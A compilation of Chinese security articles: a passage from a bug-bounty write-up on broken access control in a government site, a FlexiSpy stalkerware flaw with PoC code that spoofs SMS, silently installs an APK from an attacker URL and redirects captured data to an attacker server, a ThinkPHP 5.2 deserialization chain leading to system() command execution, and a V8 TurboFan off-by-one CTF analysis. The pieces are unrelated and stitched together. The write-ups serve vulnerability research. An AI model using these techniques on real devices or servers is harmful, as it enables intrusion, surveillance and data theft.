因此，我试图浏览所有管理员页面，以期找到无需访问控制（BAC，Broken Access
Control）的页面，最后还真找到一个，居然还是一个“复制用户”页面。
## 权限提升
分析该页面的参数之后，发现能够将数据库中的现有用户复制到新用户中！
我们尚不知道任何用户名，起初尝试使用admin失败。然后尝试使用Administrator，成功了，然后将Administrator的“角色”复制到一个名为
**GeneralEG** 的新用户中。
## GeneralEG的时代
使用新的凭据登录了该应用程序之后，看到了一些UI页面。
我再次查看了 “Admin Console” 页面，发现可以任意浏览其二级网页（例如“创建用户”）。
我浏览了后一个页面，发现能够创建具有任何角色的用户……但是令人惊讶的是，我能够选择用户对应的应用，因此扩展了列表，发现可以将“ Evil
Admin”插入到7000+个属于这个国家的政府网站，包括（总统选举委员会，国家秘书办公室，总统行政委员会等）。也就是说，我能在这个国家做我想做的一切……
到这里我就停止测试了，而不是潜入这些“高度机密区域”，毕竟，牢饭不是很好吃hhhhhh
后来他们告诉我，该网站是政府`E-Systems`链的头网站，主要作用是为其他网站创建用户。
作为记录，内网之前已经做过很多渗透测试，因此只有少量漏洞，但是机缘巧合我又找到一个远程命令执行漏洞。后来又找到另外一个后台SQL注入漏洞，能够直接访问上述服务器，但最好还是不要进入此机密区域！
我确信，如果点进去了，我的好奇心会让我在这个国家监狱呆很长时间！
最后，我写了这份详细的报告给客户，最终皆大欢喜。
## 经验之谈，拿走不谢：
不要太早灰心。
仔细划定渗透范围范围。
记下在测试中发现的所有内容，不管有用没用。
尽一切可能访问您的目标，不要错过任何一个！
如果迷失方向了，休息一下，来一杯mojito。
做好信息侦察工作，不断改善，再不断重复这个过程！
原文链接：[A Country Hijacking](https://medium.com/bugbountywriteup/a-country-hijacking-3180c24a14b5) | 社区文章 |
# 作者：昊天实验室
* * *
#### 漏洞说明
FlexiSpy安卓版在目标手机安装成功后会主动监听12512端口，该端口是客户端与服务端的通信端口，由于缺少有效的身份认证机制攻击者可通过该端口，远程发送控制指令。
#### 漏洞详情
FlexiSPY启动时调用
public void startAppEngine(Context arg3) {
Intent v0 = new Intent(arg3, CoreService.class);
v0.setAction("wfs.service.action.start_engine");
arg3.startService(v0);
}
启动CoreService后, CoreService会调用startEngine()
public void startEngine() throws AppEngineException {
......
this.mTcpSocketCmdServer = new TcpSocketCmdServer("AppEngine", "com.vvt.rmtctrl.server", 12512, ((TcpSocketCmdProcessor)v1));
this.mTcpSocketCmdServer.setName("RemoteControlCmdServerThread");
this.mTcpSocketCmdServer.start();
之后FlexiSPY会开始监听12512端口。
TcpSocketCmdServer等待TcpSocketCmd(Client)
连接并调用readObject()获取TcpSocketCmd，作为Command
，调用TcpSocketCmdProcessor.processCommand(Command) 流程如下:
Client
tcpsocketcmd.execute() => connect to socket server => writeobject(this) => readobject(response)
Server
tcpsocketcmdserver => accept => readobject(tcpsocketcmd) => TcpSocketCmdProcessor.processCommand(tcpsocketcmd) => writeobject(response)
该Server(com.vvt.rmtctrl.server)的Processor为RemoteControlHandler。
该Processor支持的指令如下:
RemoteFunction.IS_PRODUCT_ACTIVATED = 1;
RemoteFunction.GET_LICENSE_STATUS = 2;
RemoteFunction.ACTIVATE_PRODUCT = 3;
RemoteFunction.DEACTIVATE_PRODUCT = 4;
RemoteFunction.SET_EVENT_MAX_NUMBER = 5;
RemoteFunction.SET_EVENT_TIMER = 6;
RemoteFunction.ENABLE_EVENT_DELIVERY = 7;
RemoteFunction.SET_DELIVERY_METHOD = 8;
RemoteFunction.ENABLE_EVENT_CAPTURE = 9;
RemoteFunction.ENABLE_CAPTURE_CALL = 10;
RemoteFunction.ENABLE_CAPTURE_SMS = 11;
RemoteFunction.ENABLE_CAPTURE_EMAIL = 12;
RemoteFunction.ENABLE_CAPTURE_GPS = 13;
RemoteFunction.SET_GPS_TIME_INTERVAL = 14;
RemoteFunction.ENABLE_CAPTURE_MMS = 15;
RemoteFunction.ENABLE_CAPTURE_IM = 16;
RemoteFunction.ENABLE_CAPTURE_IMAGE = 17;
RemoteFunction.ENABLE_CAPTURE_AUDIO = 18;
RemoteFunction.ENABLE_CAPTURE_VIDEO = 19;
RemoteFunction.ENABLE_CAPTURE_WALLPAPER = 20;
RemoteFunction.ENABLE_CAPTURE_APP = 21;
RemoteFunction.ENABLE_CAPTURE_URL = 22;
RemoteFunction.ENABLE_CAPTURE_CALL_RECORD = 23;
RemoteFunction.ENABLE_CAPTURE_CALENDAR = 24;
RemoteFunction.ENABLE_CAPTURE_PASSWORD = 25;
RemoteFunction.SET_IM_ATTACHMENT_LIMIT_SIZE = 26;
RemoteFunction.ENABLE_CAPTURE_VOIP = 27;
RemoteFunction.ENABLE_CAPTURE_CONTACT = 28;
RemoteFunction.ENABLE_VOIP_CALL_RECORDING = 29;
RemoteFunction.ENABLE_CALL_RECORDING = 30;
RemoteFunction.ENABLE_SPY_CALL = 31;
RemoteFunction.ENABLE_WATCH_NOTIFICATION = 32;
RemoteFunction.SET_WATCH_FLAG = 33;
RemoteFunction.SET_MODE_ADDRESS_BOOK = 34;
RemoteFunction.SEND_ADDRESS_BOOK = 35;
RemoteFunction.SET_PANIC_MODE = 36;
RemoteFunction.ENABLE_COMMUNICATION_RESTRICTION = 37;
RemoteFunction.ENABLE_ALERT = 38;
RemoteFunction.ENABLE_APP_PROFILE = 39;
RemoteFunction.ENABLE_URL_PROFILE = 40;
RemoteFunction.MANAGE_COMMON_DATA = 41;
RemoteFunction.GET_CONFIGURATION = 42;
RemoteFunction.GET_SETTINGS = 43;
RemoteFunction.GET_DIAGNOSTICS = 44;
RemoteFunction.GET_EVENT_COUNT = 45;
RemoteFunction.GET_GPS_ON_DEMAND = 46;
RemoteFunction.GET_CONNECTION_HISTORY = 47;
RemoteFunction.SEND_HEARTBEAT = 48;
RemoteFunction.SEND_CURRENT_URL = 49;
RemoteFunction.SEND_MOBILE_NUMBER = 50;
RemoteFunction.SEND_SETTINGS_EVENT = 51;
RemoteFunction.SEND_EVENTS = 52;
RemoteFunction.SEND_BOOKMARKS = 53;
RemoteFunction.REQUEST_CONFIGURATION = 54;
RemoteFunction.DEBUG_SWITCH_CONTAINER = 55;
RemoteFunction.DEBUG_SET_APPLICATION_MODE = 56;
RemoteFunction.DEBUG_GET_APPLICATION_MODE = 57;
RemoteFunction.DEBUG_HIDE_APP = 58;
RemoteFunction.DEBUG_UNHIDE_APP = 59;
RemoteFunction.DEBUG_CLOSE_APP = 60;
RemoteFunction.DEBUG_GET_VERSION_CODE = 61;
RemoteFunction.DEBUG_SEND_TEST_SMS = 62;
RemoteFunction.DEBUG_RESTART_DEVICE = 63;
RemoteFunction.SET_SUPERUSER_VISIBILITY = 64;
RemoteFunction.SET_LOCK_PHONE_SCREEN = 65;
RemoteFunction.REQUEST_DEVICE_SETTINGS = 66;
RemoteFunction.SET_UPDATE_AVAILABLE_SILENT_MODE = 67;
RemoteFunction.DELETE_DATABASE = 68;
RemoteFunction.DEBUG_IS_DAEMON = 69;
RemoteFunction.DEBUG_IS_FULL_MODE = 70;
RemoteFunction.DEBUG_GET_CONFIG_ID = 71;
RemoteFunction.DEBUG_GET_ACTUAL_CONFIG_ID = 72;
RemoteFunction.DEBUG_IS_CALLRECORDING_SUPPORTED = 73;
RemoteFunction.DEBUG_PRODUCT_VERSION = 74;
RemoteFunction.REQUEST_BATTERY_INFO = 75;
RemoteFunction.REQUEST_MEDIA_HISTORICAL = 76;
RemoteFunction.UPLOAD_ACTUAL_MEDIA = 77;
RemoteFunction.DELETE_ACTUAL_MEDIA = 78;
RemoteFunction.UNINSTALL_PRODUCT = 79;
RemoteFunction.SEND_INSTALLED_APPLICATIONS = 80;
RemoteFunction.SPOOF_SMS = 81;
RemoteFunction.REQUEST_CALENDER = 82;
RemoteFunction.ON_DEMAND_IMAGE_CAPTURE = 83;
RemoteFunction.ON_DEMAND_AMBIENT_RECORD = 84;
RemoteFunction.SET_CALL_RECORDING_WATCH_FLAG = 85;
RemoteFunction.RESTART_DEVICE = 86;
RemoteFunction.ADD_URL = 87;
RemoteFunction.RESET_URL = 88;
RemoteFunction.CLEAR_URL = 89;
RemoteFunction.QUERY_URL = 90;
RemoteFunction.SET_CALL_RECORDING_AUDIO_SOURCE = 91;
RemoteFunction.REQUEST_HISTORICAL_EVENTS = 92;
RemoteFunction.REQUEST_TEMPORAL_APPLICATION_CONTROL = 93;
RemoteFunction.SYNC_TEMPORAL_APPLICATION_CONTROL = 94;
RemoteFunction.ENABLE_TEMPORAL_CONTROL_RECORD_AMBIENT = 95;
RemoteFunction.SET_DOWNLOAD_BINARY_AND_UPDATE_SILENT_MODE = 96;
RemoteFunction.DEBUG_IS_RESUME_ON_DEMAND_AMBIENT_RECORDING = 97;
#### 漏洞证明
通过构造TcpSocketCmd并发送给TcpSocketCmdServer可远程调用该Processor支持的指令。
1.发送短信
RmtCtrlInputSpoofSms rmtCtrlInputSpoofSms = new RmtCtrlInputSpoofSms();
rmtCtrlInputSpoofSms.setDestinationNumber("10086");
rmtCtrlInputSpoofSms.setSmsMessage("test");
controlCommand = new ControlCommand(RemoteFunction.SPOOF_SMS, rmtCtrlInputSpoofSms);
new RemoteOnCommandReceive(controlCommand).execute();
2.更新FlexiSPY二进制文件
RmtCtrlInputDownloadBinaryAndUpdateSilentMode rmtCtrlInputDownloadBinaryAndUpdateSilentMode = new RmtCtrlInputDownloadBinaryAndUpdateSilentMode();
rmtCtrlInputDownloadBinaryAndUpdateSilentMode.setVersionNumber("250");
rmtCtrlInputDownloadBinaryAndUpdateSilentMode.setChecksum("387976742"); //update.apk crc32
rmtCtrlInputDownloadBinaryAndUpdateSilentMode.setUrl("http://192.168.1.100/update.apk");
controlCommand = new ControlCommand(RemoteFunction.SET_DOWNLOAD_BINARY_AND_UPDATE_SILENT_MODE, rmtCtrlInputDownloadBinaryAndUpdateSilentMode);
new RemoteOnCommandReceive(controlCommand).execute();
3.更新服务端URL
List urls = new ArrayList<>();
urls.add("http://192.168.1.100:8080");
controlCommand = new ControlCommand(RemoteFunction.ADD_URL, urls);
new RemoteOnCommandReceive(controlCommand).execute();
更新服务端URL之后，可将FlexiSPY发送给服务端的数据转到指定的服务器上。
4.卸载FlexiSPY
controlCommand = new ControlCommand(RemoteFunction.UNINSTALL_PRODUCT, null);
new RemoteOnCommandReceive(controlCommand).execute();
其他功能不一一演示。
#### POC
传送门：<https://github.com/gnehsoah/FlexiSpyPOC> | 社区文章 |
这个POP链来自 **N1CTF2019** 中的某道题目，不过和之前 **ThinkPHP5.1.x反序列化POP链** 差不多，只是当中替换了几个小
**Gadget** ，这里也记录一下。
## 环境搭建
➜ html composer create-project topthink/think=5.2.x-dev tp52x
➜ html cd tp52x
➜ tp52x ./think run
将 **application/index/controller/Index.php** 代码修改成如下：
<?php
namespace app\controller;
class Index
{
public function index()
{
$u = unserialize($_GET['c']);
return 'ThinkPHP V5.2';
}
}
## 利用条件
* 有一个内容完全可控的反序列化点，例如： `unserialize(可控变量)`
* 存在文件上传、文件名完全可控、使用了文件操作函数，例如： `file_exists('phar://恶意文件')`
（满足以上任意一个条件即可）
## POP链1
这个漏洞链个人认为比较有意思的是：通过 **file_exists** 函数触发类的 **__toString**
方法。下面，我们具体分析一下整个漏洞攻击链。
在 **think\process\pipes\Windows** 类的 **__destruct** 方法中，存在一个删除文件功能，而这里的文件名
**$filename** 变量是可控。如果我们将一个类赋值给 **$filename** 变量，那么在
**file_exists($filename)** 的时候，就会触发这个类的 **__toString** 方法。因为 **file_exists**
函数需要的是一个字符串类型的参数，如果传入一个对象，就会先调用该类 **__toString** 方法，获取其字符串返回值，然后再判断。（下图对应文件
vendor/topthink/framework/src/think/process/pipes/Windows.php）
接下来，我们就来寻找可利用的 **__toString** 方法。全局搜索到的 **__toString**
方法其实不多，这里有两处都可以利用。它们的区别在于利用 **think\Collection** 构造的链要多构造一步，我们这里只分析链较短的
**think\model\concern\Conversion** 。
如下图所示，原先 **ThinkPHP5.1.x** 中 **$relation- >visible($name)** 已经不见了，其实这段代码被移到了
**第180行** 的 **appendAttrToArray** 方法中。这里，我们先关注 **第172行** 的 **getAttr**
方法，这里传入的 **$key** 变量是来自第158行的可控变量 **$data** 。（下图对应文件
vendor/topthink/framework/src/think/model/concern/Conversion.php）
在 **getAttr** 方法中，程序先通过第451行的 **getData** 获取了 **$value**
变量。从下图右侧的获取过程中，可以看出最终获得的 **$value** 变量值可控。然后在第457调用 **getValue**
方法，传入该方法的前两个变量值均可控，最后一个 **$relation** 值为 **false** 。我们跟进 **getValue**
方法，看其具体代码。（下图对应文件
vendor/topthink/framework/src/think/model/concern/Attribute.php ）
可以看到在 **getValue** 方法中，使用了动态调用（上图第481行），而且这里的 **$closure、$value、$this- >data**
均可控。我们只要让 **$closure='system'** 并且 **$value='要执行的命令'** ，就可以触发命令执行。但是上面的
**Attribute、Conversion** 是 **trait** ，不能直接用来构造 **EXP** ，我们得找使用了这两个 **trait**
的类。
这里我们找到了符合条件的 **Pivot** 类，所以这条链的 **EXP** 如下（例如这里执行 `curl 127.0.0.1:8888` ）：
## POP链2
第二条POP链其实不太好用，需要目标站点可以上传 **route.php** 文件，且知道上传后文件的存储路径，下面我们来看下具体POP链。
这个POP链的前半部分，和原先 **ThinkPHP5.1.x** 中的POP链是一样的。只不过在执行到下图第193行时，
**ThinkPHP5.1.x** 中的POP链会去触发 **Request** 类的 **__call** 方法，而在 **ThinkPHP5.2.x**
中移除了 **Request** 类的 **__call** 方法，所以我们需要寻找新的可用 **__call** 方法。
这里，我们使用 **Db** 类的 **__call** 方法，因为该方法可以实例化任意类（下图第203行）。结合 **Url** 类的
**__construct** 方法，从而进行文件包含。如果攻击者可以上传 **route.php** 文件，并知道文件存储位置，即可
**getshell** 。
最终，这条链的 **EXP** 如下（这里我事先上传了 **route.php** 到 **/tmp/** 目录下）：
PS：为了避免不必要的麻烦，文中EXP均已删除。
## 参考
[N1CTF2019 sql_manage出题笔记](https://xz.aliyun.com/t/6300)
[thinkphp v5.2.x 反序列化利用链挖掘](https://www.anquanke.com/post/id/187332) | 社区文章 |
一个两字节patch导致的off-by-one，最终造成类型混淆，执行shellcode。
编译了一个`d8`程序用于验证和利用漏洞，相关附件[下载](https://github.com/ret2p4nda/browser-pwn/tree/master/growupjs)
## CheckBound优化流程
首先在原有的`simplified-lowering`阶段，`CheckBound`节点并不被消除，而是设置为`kAbortOnOutOfBounds`模式，并替换为`CheckedUint32Bounds`。
void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
CheckParameters const& p = CheckParametersOf(node->op());
Type const index_type = TypeOf(node->InputAt(0));
Type const length_type = TypeOf(node->InputAt(1));
if (length_type.Is(Type::Unsigned31())) {
if (index_type.Is(Type::Integral32OrMinusZero())) {
// Map -0 to 0, and the values in the [-2^31,-1] range to the
// [2^31,2^32-1] range, which will be considered out-of-bounds
// as well, because the {length_type} is limited to Unsigned31.
VisitBinop(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if (lower()) {
CheckBoundsParameters::Mode mode =
CheckBoundsParameters::kDeoptOnOutOfBounds;
if (lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison &&
(index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
mode = CheckBoundsParameters::kAbortOnOutOfBounds;
}
NodeProperties::ChangeOp(
node, simplified()->CheckedUint32Bounds(p.feedback(), mode));
}
}
而在此之前，该位置如下，可见原先利用节点消除的漏洞利用方法不能使用了。
if (lower()) {
if (lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison &&
(index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
DeferReplacement(node, node->InputAt(0));
} else {
NodeProperties::ChangeOp(
node, simplified()->CheckedUint32Bounds(p.feedback()));
}
}
在`Effect
linearization`阶段，`CheckedUint32Bounds`节点会被优化成`Uint32LessThan`，并绑定上其`True`和`False`分支。
Node* EffectControlLinearizer::LowerCheckedUint32Bounds(Node* node,
Node* frame_state) {
Node* index = node->InputAt(0);
Node* limit = node->InputAt(1);
const CheckBoundsParameters& params = CheckBoundsParametersOf(node->op());
Node* check = __ Uint32LessThan(index, limit);
switch (params.mode()) {
case CheckBoundsParameters::kDeoptOnOutOfBounds:
__ DeoptimizeIfNot(DeoptimizeReason::kOutOfBounds,
params.check_parameters().feedback(), check,
frame_state, IsSafetyCheck::kCriticalSafetyCheck);
break;
case CheckBoundsParameters::kAbortOnOutOfBounds: {
auto if_abort = __ MakeDeferredLabel();
auto done = __ MakeLabel();
__ Branch(check, &done, &if_abort);
__ Bind(&if_abort);
__ Unreachable();
__ Goto(&done);
__ Bind(&done);
break;
}
}
return index;
}
而在`lateoptimize`阶段，将其优化为左值<右值这个表达式，即一个永真或者永假条件。
// Perform constant folding and strength reduction on machine operators.
Reduction MachineOperatorReducer::Reduce(Node* node) {
switch (node->opcode()) {
// [...]
case IrOpcode::kUint32LessThan: {
Uint32BinopMatcher m(node);
if (m.left().Is(kMaxUInt32)) return ReplaceBool(false); // M < x => false
if (m.right().Is(0)) return ReplaceBool(false); // x < 0 => false
if (m.IsFoldable()) { // K < K => K
return ReplaceBool(m.left().Value() < m.right().Value());
}
if (m.LeftEqualsRight()) return ReplaceBool(false); // x < x => false
if (m.left().IsWord32Sar() && m.right().HasValue()) {
Int32BinopMatcher mleft(m.left().node());
if (mleft.right().HasValue()) {
// (x >> K) < C => x < (C << K)
// when C < (M >> K)
const uint32_t c = m.right().Value();
const uint32_t k = mleft.right().Value() & 0x1F;
if (c < static_cast<uint32_t>(kMaxInt >> k)) {
node->ReplaceInput(0, mleft.left().node());
node->ReplaceInput(1, Uint32Constant(c << k));
return Changed(node);
}
// TODO(turbofan): else the comparison is always true.
}
}
break;
}
此后，另一个分支就变成了一个不可达的分支，最终在`brancheliminate`中被剪掉，达到和早期未`patch`版本同样的目的，但要求多了很多。
## 题目分析
而从题目来看，题目只`patch`了两个字符，就是在上面
return ReplaceBool(m.left().Value() < m.right().Value());
改为了
return ReplaceBool(m.left().Value() < m.right().Value() + 1);
这样的话，就算达到访问一个`element`的下一个节点，这个`checkBound`也会被优化掉，从而有个`off-by-one`，如果能达到这一点，就和`*ctf
2019`的`oob`这题一模一样了，但那题的实现是增加了一个`builtin`函数，不需要利用优化，而此题需要在优化的前提下才能用，而且必须使`CheckBound`达到上述代码的位置。
## 测试样例分析
测试代码：
var opt_me2 = () => {
let arr = [1,2,3,4];
index = 4;
return arr[index];
};
for (var i = 0; i < 0x10000; ++i)
opt_me2();
可以发现使用上述测试样例并不能触发`OOB`，其原因也十分有趣，同样来源于优化过程。
首先通过`--trace-turbo`对优化过程的`IR`进行记录，发现在`LoopPeeling`阶段，`44`节点是一个值比较结点，而`47`结点是从`element`中读取数据，也就是实际执行`arr[index]`的这个节点。
但在下一阶段`loadelimination`中，比较`44`和`47`两个节点都消失了，最终结果将返回`2`结点（undefined）。
可以查看一下`loadelimination`都做了什么，从源码中可以看到主要以`AddReducer`方法添加了10个`reducer`
void Run(PipelineData* data, Zone* temp_zone) {
GraphReducer graph_reducer(temp_zone, data->graph(),
&data->info()->tick_counter(),
data->jsgraph()->Dead());
BranchElimination branch_condition_elimination(&graph_reducer,
data->jsgraph(), temp_zone);
DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
data->common(), temp_zone);
RedundancyElimination redundancy_elimination(&graph_reducer, temp_zone);
LoadElimination load_elimination(&graph_reducer, data->jsgraph(),
temp_zone);
CheckpointElimination checkpoint_elimination(&graph_reducer);
ValueNumberingReducer value_numbering(temp_zone, data->graph()->zone());
CommonOperatorReducer common_reducer(&graph_reducer, data->graph(),
data->broker(), data->common(),
data->machine(), temp_zone);
TypedOptimization typed_optimization(&graph_reducer, data->dependencies(),
data->jsgraph(), data->broker());
ConstantFoldingReducer constant_folding_reducer(
&graph_reducer, data->jsgraph(), data->broker());
TypeNarrowingReducer type_narrowing_reducer(&graph_reducer, data->jsgraph(),
data->broker());
AddReducer(data, &graph_reducer, &branch_condition_elimination);
AddReducer(data, &graph_reducer, &dead_code_elimination);
AddReducer(data, &graph_reducer, &redundancy_elimination);
AddReducer(data, &graph_reducer, &load_elimination);
AddReducer(data, &graph_reducer, &type_narrowing_reducer);
AddReducer(data, &graph_reducer, &constant_folding_reducer);
AddReducer(data, &graph_reducer, &typed_optimization);
AddReducer(data, &graph_reducer, &checkpoint_elimination);
AddReducer(data, &graph_reducer, &common_reducer);
AddReducer(data, &graph_reducer, &value_numbering);
graph_reducer.ReduceGraph();
}
而在`graph_reducer.ReduceGraph`中将分别对每个节点调用上述添加的10个`*::Reduce()`方法。
Reduction GraphReducer::Reduce(Node* const node) {
auto skip = reducers_.end();
for (auto i = reducers_.begin(); i != reducers_.end();) {
if (i != skip) {
tick_counter_->DoTick();
Reduction reduction = (*i)->Reduce(node);
if (!reduction.Changed()) {
// No change from this reducer.
} else if (reduction.replacement() == node) {
// {replacement} == {node} represents an in-place reduction. Rerun
// all the other reducers for this node, as now there may be more
// opportunities for reduction.
if (FLAG_trace_turbo_reduction) {
StdoutStream{} << "- In-place update of " << *node << " by reducer "
<< (*i)->reducer_name() << std::endl;
}
skip = i;
i = reducers_.begin();
continue;
} else {
// {node} was replaced by another node.
if (FLAG_trace_turbo_reduction) {
StdoutStream{} << "- Replacement of " << *node << " with "
<< *(reduction.replacement()) << " by reducer "
<< (*i)->reducer_name() << std::endl;
}
return reduction;
}
}
++i;
}
if (skip == reducers_.end()) {
// No change from any reducer.
return Reducer::NoChange();
}
// At least one reducer did some in-place reduction.
return Reducer::Changed(node);
}
使用`trace-turbo-reduction`对节点的修改和替换细节进行分析，可以发现在如下部分，首先是`NumberLessThan(43,
16)`内容被`TypeNarrowingReducer`更新，然后被`ConstantFoldingReducer`替换成`HeapConstant`固定值`false`，最终导致`45`节点`True`的分支变成不可达的节点，最终被`DeadCodeElimination`清理掉，造成没有触发`OOB`
- In-place update of 44: NumberLessThan(43, 16) by reducer TypeNarrowingReducer
- Replacement of 44: NumberLessThan(43, 16) with 55: HeapConstant[0x210c2b740709 <false>] by reducer ConstantFoldingReducer
- In-place update of 45: Branch[True|CriticalSafetyCheck](55, 12) by reducer BranchElimination
- Replacement of 45: Branch[True|CriticalSafetyCheck](55, 12) with 70: Dead by reducer CommonOperatorReducer
- Replacement of 47: LoadElement[tagged base, 16, Signed32, kRepTaggedSigned|kTypeInt32, FullWriteBarrier](59, 43, 43, 70) with 70: Dead by reducer DeadCodeElimination
首先跟踪`TypeNarrowingReducer`，可以看到当`opcode`是`kNumberLessThan`时，如果左节点的最小值大于右节点的最大值时，类型会被`op_typer_.singleton_false();`，是一个`HeapConstant`
Reduction TypeNarrowingReducer::Reduce(Node* node) {
DisallowHeapAccess no_heap_access;
Type new_type = Type::Any();
switch (node->opcode()) {
case IrOpcode::kNumberLessThan: {
// TODO(turbofan) Reuse the logic from typer.cc (by integrating relational
// comparisons with the operation typer).
Type left_type = NodeProperties::GetType(node->InputAt(0));
Type right_type = NodeProperties::GetType(node->InputAt(1));
if (left_type.Is(Type::PlainNumber()) &&
right_type.Is(Type::PlainNumber())) {
if (left_type.Max() < right_type.Min()) {
new_type = op_typer_.singleton_true();
} else if (left_type.Min() >= right_type.Max()) {
new_type = op_typer_.singleton_false();
}
}
break;
}
//[...]
Type original_type = NodeProperties::GetType(node);
Type restricted = Type::Intersect(new_type, original_type, zone());
if (!original_type.Is(restricted)) {
NodeProperties::SetType(node, restricted);
return Changed(node);
}
return NoChange();
}
从日志中可以发现其左节点是`43`，从`IR`可以发现其范围是`[4,4]`，右节点是`16` ，是一个常量值[4]
- Replacement of 41: LoadField[tagged base, 24, Range(0, 134217726), kRepTaggedSigned|kTypeInt32, NoWriteBarrier, mutable](68, 17, 12) with 16: NumberConstant[4] by reducer LoadElimination
因此，在`ConstantFoldingReducer::Reduce`中，`44`节点将被生成的一个`HeapConstant`节点替代。
Reduction ConstantFoldingReducer::Reduce(Node* node) {
DisallowHeapAccess no_heap_access;
// Check if the output type is a singleton. In that case we already know the
// result value and can simply replace the node if it's eliminable.
if (!NodeProperties::IsConstant(node) && NodeProperties::IsTyped(node) &&
node->op()->HasProperty(Operator::kEliminatable)) {
// TODO(v8:5303): We must not eliminate FinishRegion here. This special
// case can be removed once we have separate operators for value and
// effect regions.
if (node->opcode() == IrOpcode::kFinishRegion) return NoChange();
// We can only constant-fold nodes here, that are known to not cause any
// side-effect, may it be a JavaScript observable side-effect or a possible
// eager deoptimization exit (i.e. {node} has an operator that doesn't have
// the Operator::kNoDeopt property).
Type upper = NodeProperties::GetType(node);
if (!upper.IsNone()) {
Node* replacement = nullptr;
if (upper.IsHeapConstant()) {
replacement = jsgraph()->Constant(upper.AsHeapConstant()->Ref());
//[...]
if (replacement) {
// Make sure the node has a type.
if (!NodeProperties::IsTyped(replacement)) {
NodeProperties::SetType(replacement, upper);
}
ReplaceWithValue(node, replacement);
return Changed(replacement);
}
}
}
return NoChange();
}
因此，想要触发`OOB`必须规避掉以上路径。可以从`43`节点和`16`节点两方面考虑。首先说`16`节点，其来自于`41`节点的优化
- In-place update of 41: LoadField[tagged base, 24, Range(0, 134217726), kRepTaggedSigned|kTypeInt32, NoWriteBarrier, mutable](68, 17, 12) by reducer RedundancyElimination
- Replacement of 41: LoadField[tagged base, 24, Range(0, 134217726), kRepTaggedSigned|kTypeInt32, NoWriteBarrier, mutable](68, 17, 12) with 16: NumberConstant[4] by reducer LoadElimination
当`op`搜索的参数`field_index`不是`0`时，到相应的`object`中找到相关偏移的节点代替掉这个`LoadField`节点，可见这个就是直接取出了要访问`element`的长度，似乎无法改变。
Reduction LoadElimination::ReduceLoadField(Node* node,
FieldAccess const& access) {
Node* object = NodeProperties::GetValueInput(node, 0);
Node* effect = NodeProperties::GetEffectInput(node);
Node* control = NodeProperties::GetControlInput(node);
AbstractState const* state = node_states_.Get(effect);
if (state == nullptr) return NoChange();
if (access.offset == HeapObject::kMapOffset &&
//[...]
} else {
int field_index = FieldIndexOf(access);
if (field_index >= 0) {
PropertyConstness constness = access.constness;
MachineRepresentation representation =
access.machine_type.representation();
FieldInfo const* lookup_result =
state->LookupField(object, field_index, constness);
if (!lookup_result && constness == PropertyConstness::kConst) {
lookup_result = state->LookupField(object, field_index,
PropertyConstness::kMutable);
}
if (lookup_result) {
// Make sure we don't reuse values that were recorded with a different
// representation or resurrect dead {replacement} nodes.
Node* replacement = lookup_result->value;
if (IsCompatible(representation, lookup_result->representation) &&
!replacement->IsDead()) {
// Introduce a TypeGuard if the type of the {replacement} node is not
// a subtype of the original {node}'s type.
if (!NodeProperties::GetType(replacement)
.Is(NodeProperties::GetType(node))) {
Type replacement_type = Type::Intersect(
NodeProperties::GetType(node),
NodeProperties::GetType(replacement), graph()->zone());
replacement = effect =
graph()->NewNode(common()->TypeGuard(replacement_type),
replacement, effect, control);
NodeProperties::SetType(replacement, replacement_type);
}
ReplaceWithValue(node, replacement, effect);
return Replace(replacement);
}
}
FieldInfo info(node, access.name, representation);
state = state->AddField(object, field_index, info, constness, zone());
}
}
Handle<Map> field_map;
if (access.map.ToHandle(&field_map)) {
state = state->SetMaps(node, ZoneHandleSet<Map>(field_map), zone());
}
return UpdateState(node, state);
}
而另一节点`43 typer`的路径如下：
Reduction Reduce(Node* node) override {
if (node->op()->ValueOutputCount() == 0) return NoChange();
switch (node->opcode()) {
#define DECLARE_CASE(x) \
case IrOpcode::k##x: \
return UpdateType(node, TypeBinaryOp(node, x##Typer));
JS_SIMPLE_BINOP_LIST(DECLARE_CASE)
#undef DECLARE_CASE
#define DECLARE_CASE(x) \
case IrOpcode::k##x: \
return UpdateType(node, Type##x(node));
DECLARE_CASE(Start)
DECLARE_CASE(IfException)
// VALUE_OP_LIST without JS_SIMPLE_BINOP_LIST:
COMMON_OP_LIST(DECLARE_CASE)
SIMPLIFIED_COMPARE_BINOP_LIST(DECLARE_CASE)
SIMPLIFIED_OTHER_OP_LIST(DECLARE_CASE) // [here]
`SIMPLIFIED_OTHER_OP_LIST`定义如下
#define SIMPLIFIED_OTHER_OP_LIST(V) \
// [...]
V(CheckBounds) \
V(CheckIf) \
因此这个分支就变成了
case IrOpcode::kCheckBounds: \
return UpdateType(node, TypeCheckBounds(node));
`TypeCheckBounds`定义如下，取第一个和第二个输入节点的类型，调用`CheckBounds`
Type Typer::Visitor::TypeCheckBounds(Node* node) {
return typer_->operation_typer_.CheckBounds(Operand(node, 0),
Operand(node, 1));
}
`CheckBounds`定义如下，显然`index`是一个实际的范围，而`length`负责控制其最大边界，而最终取`index`与`mask`的交集。
Type OperationTyper::CheckBounds(Type index, Type length) {
DCHECK(length.Is(cache_->kPositiveSafeInteger));
if (length.Is(cache_->kSingletonZero)) return Type::None();
Type mask = Type::Range(0.0, length.Max() - 1, zone());
if (index.Maybe(Type::MinusZero())) {
index = Type::Union(index, cache_->kSingletonZero, zone());
}
return Type::Intersect(index, mask, zone());
}
Type Type::Intersect(Type type1, Type type2, Zone* zone) {
// Fast case: bit sets.
if (type1.IsBitset() && type2.IsBitset()) {
return NewBitset(type1.AsBitset() & type2.AsBitset());
}
// Fast case: top or bottom types.
if (type1.IsNone() || type2.IsAny()) return type1; // Shortcut.
if (type2.IsNone() || type1.IsAny()) return type2; // Shortcut.
// Semi-fast case.
if (type1.Is(type2)) return type1;
if (type2.Is(type1)) return type2;
// Slow case: create union.
// Semantic subtyping check - this is needed for consistency with the
// semi-fast case above.
if (type1.Is(type2)) {
type2 = Any();
} else if (type2.Is(type1)) {
type1 = Any();
}
